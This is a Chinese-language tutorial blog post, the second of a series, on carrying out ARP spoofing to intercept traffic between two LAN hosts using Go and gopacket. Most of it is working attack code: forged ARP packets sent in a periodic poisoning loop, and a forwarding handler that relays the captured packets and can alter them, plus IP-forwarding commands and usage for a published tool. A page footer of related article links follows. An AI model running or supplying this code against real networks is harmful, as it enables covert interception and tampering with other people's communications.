arp欺骗进行流量截获-2
上一篇讲了原理,那么这一篇主要讲如何实现。基本上也就是实现上面的两个步骤,这里基于gopacket实现,我会带着大家一步步详细把每个步骤都讲到。
ARP 欺骗
首先就是伪造ARP请求,让A和B把数据包发到我这里来。
利用gopacket 发送一个ARP请求,下面是一个实现函数,可以用来发送一个指定ip地址和mac地址的arp请求。
//send a arp reply from srcIp to dstIP
func SendAFakeArpRequest(handle *pcap.Handle, dstIP, srcIP net.IP, dstMac, srcMac net.HardwareAddr) {
arpLayer := &layers.ARP{
AddrType:layers.LinkTypeEthernet,
Protocol:layers.EthernetTypeIPv4,
HwAddressSize:6,
ProtAddressSize:4,
Operation:layers.ARPRequest,
DstHwAddress:dstMac, //正常情况下,这里应该是FFFFFFFFF,但是这里通过指定来发送虚假定向ARP请求
DstProtAddress:[]byte(dstIP.To4()),
SourceHwAddress:srcMac,
SourceProtAddress:[]byte(srcIP.To4()),
}
ethernetLayer := &layers.Ethernet{
SrcMAC: srcMac,
DstMAC: dstMac, //正常情况下,这里应该是FFFFFFFFF,但是这里通过指定来发送虚假定向ARP请求
EthernetType:layers.EthernetTypeARP,
}
// And create the packet with the layers
buffer := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths:true,
ComputeChecksums:true,
}
err := gopacket.SerializeLayers(buffer, opts,
ethernetLayer,
arpLayer,
)
if err != nil {
log.Error(err)
}
outgoingPacket := buffer.Bytes()
log.Debug("sending arp")
//log.Debug(hex.Dump(outgoingPacket))
handleMutex.Lock()
err = handle.WritePacketData(outgoingPacket)
handleMutex.Unlock()
if err != nil {
log.Error(err)
}
}
下面是循环向A和B播报虚假MAC地址,其中要攻击的就是IP1和ip2
//tell ip1 that ip2's mac is mymac and tell ip2 that ip1's mac is mymac periodly
func sendSudeoArpInfo(interfaceName string, myip, ip1, ip2 net.IP, mymac, mac1, mac2 net.HardwareAddr, shouldStop *bool) {
fmt.Printf("start sending fake arp packets...\n")
handle, err := pcap.OpenLive(interfaceName, 65535, false, pcap.BlockForever)
handle.SetDirection(pcap.DirectionOut)
defer handle.Close()
if err != nil {
log.Fatal(err)
}
for ! (*shouldStop) {
//tell ip1 that ip2's mac is mymac
SendAFakeArpRequest(handle, ip1, ip2, mac1, mymac)
//tell ip2 that ip1's mac is mymac
SendAFakeArpRequest(handle, ip2, ip1, mac2, mymac)
time.Sleep(1 * time.Second)
}
}
这样第一步就完成了。
剩下的就是第二步,等待数据包到来,然后进行转发
IP转发
如果只是单纯想观察一下数据流,比如把数据报保存下来,留作以后分析等,那其实很简单,我们可以不用编程,直接使用ip forward这样的功能,如果在linux下,可以直接这样:
#:> echo 1 > /proc/sys/net/ipv4/ip_forward
sudo sysctl -w net.inet.ip.forwarding=1
这里我们主要讲如何用程序来实现。arppoisoning函数会进行包转发,参数很直观,第一个是要处理的网卡,最后一个用来控制停止。
/*
将截获ip1和ip2之间通信的所有流量,自己相当于是一个中间人的角色,
close(stop) or write somthing to stop when you want to stop
*/
func
ArpPoisoning(interfaceName string, myip, ip1, ip2 net.IP, mymac, mac1, mac2 net.HardwareAddr, stop chan bool) {
var filter string = fmt.Sprintf("ip host %s or ip host %s ", ip1.To4().String(), ip2.To4().String())
err = handle.SetBPFFilter(filter) //设置包过滤,只处理ip1 ip2
if err != nil {
log.Fatal(err)
return
}
log.Infof("capture filter: ip host %s or ip host %s ", ip1.To4().String(), ip2.To4().String())
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
ip2Mac := make(map[string]net.HardwareAddr)
ip2Mac[ip1.String()] = mac1
ip2Mac[ip2.String()] = mac2
in := packetSource.Packets()
var packet gopacket.Packet
for {
select {
case <-stop:
shouldStop = true
time.Sleep(3 * time.Second) //多等一会儿,让arp发送线程有机会结束
return
case packet = <-in:
layer := packet.Layer(layers.LayerTypeEthernet)
log.Debug("receive a packet")
if layer != nil {
ethLayer := layer.(*layers.Ethernet) //下面这一段来判断是ip1和ip2之间的数据包,如果是,那么应该进行mac地址修改,然后再转发
if bytes.Compare(ethLayer.DstMAC, mymac) == 0 {
layer = packet.Layer(layers.LayerTypeIPv4)
if layer != nil {
iplayer := layer.(*layers.IPv4)
//目标mac是我,并且ip地址是我要监听的两个,那么转发
if ( (ipEqual(iplayer.DstIP, ip1) && ipEqual(iplayer.SrcIP, ip2) ) ||
( ipEqual(iplayer.DstIP, ip2) && ipEqual(iplayer.SrcIP, ip1) )) {
log.Debug("receive a valid packet...")
raw := PacketHandler(packet, ip2Mac)
//handleMutex.Lock()
err := handle.WritePacketData(raw)
log.Debug("resend this packet..")
//handleMutex.Unlock()
if err != nil {
log.Error(err)
return
}
}
}
}
}
}
}
}
PacketHandler 可以自定义,这样可以实现自己想要的功能,比如修改包的内容再转发等等。
下面是基本的PacketHandler实现,就是什么都不做,只是转发。
func PacketHandler(packet gopacket.Packet, ip2Mac map[string]net.HardwareAddr) []byte {
data := packet.Data()
layer := packet.Layer(layers.LayerTypeIPv4)
iplayer := layer.(*layers.IPv4)
layer = packet.Layer(layers.LayerTypeEthernet)
ethLayer := layer.(*layers.Ethernet)
dstMac := ip2Mac[iplayer.DstIP.String()] //找到真正的mac地址是什么,然后修改
//copy(data,dstMac)
for i := 0; i < len(dstMac); i++ {
data[i] = dstMac[i]
}
return data
}
到此为止,已经把ARP欺骗进行流量截获的基本原理以及实现方法讲解完毕,当然真正的可运行程序要比这上面说的复杂,要考虑到使用方便等,完整的实现可以见https://github.com/nkbai/arppoison
用法
arppoison -ip1 192.168.56.103 -ip2 192.168.56.104 -t seconds -d
-ip1,-ip2: the ip will be attacked
-t how many seconds to attack,default is 3000 *3600 seconds, 3000 hour
-d print debug message
arp欺骗进行流量截获-2的更多相关文章
- arp欺骗进行流量截获-1
这边博文主要讲一下怎么使用arp欺骗进行流量截获,主要用于已经攻入内网以后,进行流量监听以及修改. 一.什么是arp arp协议是以太网的基础工作协议,其主要作用是是一种将IP地址转化成物理地 ...
- ARP欺骗与MITM(中间人攻击)实例
ARP协议(address resolution protocol):地址解析协议 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析 ...
- 关于ARP欺骗与MITM(中间人攻击)的一些笔记( 二 )
一直没有折腾啥东西,直到最近kali Linux发布,才回想起应该更新博客了….. 再次说明,这些技术并不是本人原创的,而是以前记录在Evernote的旧内容(排版不是很好,请谅解),本文是继关于AR ...
- arp协议分析&python编程实现arp欺骗抓图片
arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...
- 利用ARP欺骗进行MITM(中间人攻击)
ARP欺骗主要骑着信息收集得作用,比如可以利用欺骗获取对方流量,从流量分析你认为重要得信息 0X01 了解ARP Arp协议 ARP(Address Resolution Protocol,地址解析 ...
- Arp欺骗和DNS投毒的实验性分析
1.中间人攻击之Arp欺骗/毒化 本文涉及网络安全攻击知识,随时可能被永久删除.请Star我的GitHub仓库 实现原理: 这种攻击手段也叫做中间人攻击MITM(Man-in-the-Middle) ...
- 网络层主要协议与arp欺骗
网络层主要协议与arp欺骗 目录 网络层主要协议与arp欺骗 一.网络层(Network Layer) 1.网络层的功能 2.IP数据报(IP Datagram) 二.网络层的主要协议 1.ICMP协 ...
- kali Linux 渗透测试 | ARP 欺骗
目录 ARP 欺骗及其原理 ARP 欺骗实施步骤 必备工具安装 nmap 工具 dsniff 工具 driftnet 工具 ettercap 工具 ARP 欺骗测试 ARP 断网攻击 ARP 欺骗(不 ...
- 使用ARP欺骗, 截取局域网中任意一台机器的网页请求,破解用户名密码等信息
ARP欺骗的作用 当你在网吧玩,发现有人玩LOL大吵大闹, 用ARP欺骗把他踢下线吧 当你在咖啡厅看上某一个看书的妹纸,又不好意思开口要微信号, 用arp欺骗,不知不觉获取到她的微信号和聊天记录,吓一 ...
随机推荐
- 杂项:UN-APP
ylbtech-杂项:APP 1.返回顶部 2.返回顶部 3.返回顶部 4.返回顶部 5.返回顶部 6.返回顶部 7.返回顶部 8.返回顶部 9.返回顶部 10 ...
- win2003能支持的最高python版本为3.3.5版本
https://www.python.org/downloads/windows/
- PL/SQL 训练12--动态sql和绑定变量
--什么是动态SQL?动态PL/SQL--动态SQL是指在运行时刻才构建执行的SQL语句--动态PL/SQL是指整个PL/SQL代码块都是动态构建,然后再编译执行 --动态SQL来可以用来干什么? - ...
- hibernate缓存机制详细介绍
hibernate的缓存机制,包括一级缓存(session级别).二级缓存(sessionFactory级别). 一:hibernate的 N+1问题 list()获得对象: 如果通过list()方法 ...
- Handler消息传送机制
一.什么是UI线程 当程序第一次启动的时候,Android会同时启动一条主线程( Main Thread). 主要负责处理与UI相关的事件. 二.UI线程存在的问题 出于性能优化考虑,Android的 ...
- Protege4.3使用入门(二)
1.支持OWLViz 利用OWLViz查看我们构建Class的结构图.如果尚未安装,请到http://www.graphviz.org/pub/graphviz/stable/windows/grap ...
- Hibernate XXX.hbm.xml 里的class标签的 schema 属性解释
转自:https://blog.csdn.net/mym43210/article/details/30230173 1 <?xml version="1.0" encodi ...
- Oracle11gR2--SEC_CASE_SENSITIVE_LOGON参数解析
在Oracle的11g之前的版本中密码是不区分大小写的(使用双引号强制除外). 在Oracle的11g以及以后的版本中对此有所增强.从此密码有了大小写的区分. 这个大小写敏感特性是通过SEC_CASE ...
- svn add文件名包含@符号的解决方案
[svn add文件名包含@符号的解决方案] 在iOS开发过程中,代码得用SVN管理起来,但是遇到这么个问题:Default@2x.png文件svn add不成功,总提示找不到这个文件. 结果查了查资 ...
- Dubbo简单介绍及其和zookeeper的关系
何为Dubbo Dubbox 是一个分布式服务框架,其前身是阿里巴巴开源项目Dubbo ,被国内电商及互联网项目中使用,后期阿里巴巴停止了该项目的维护,当当网便在Dubbo基础上进行优化,并继续维 ...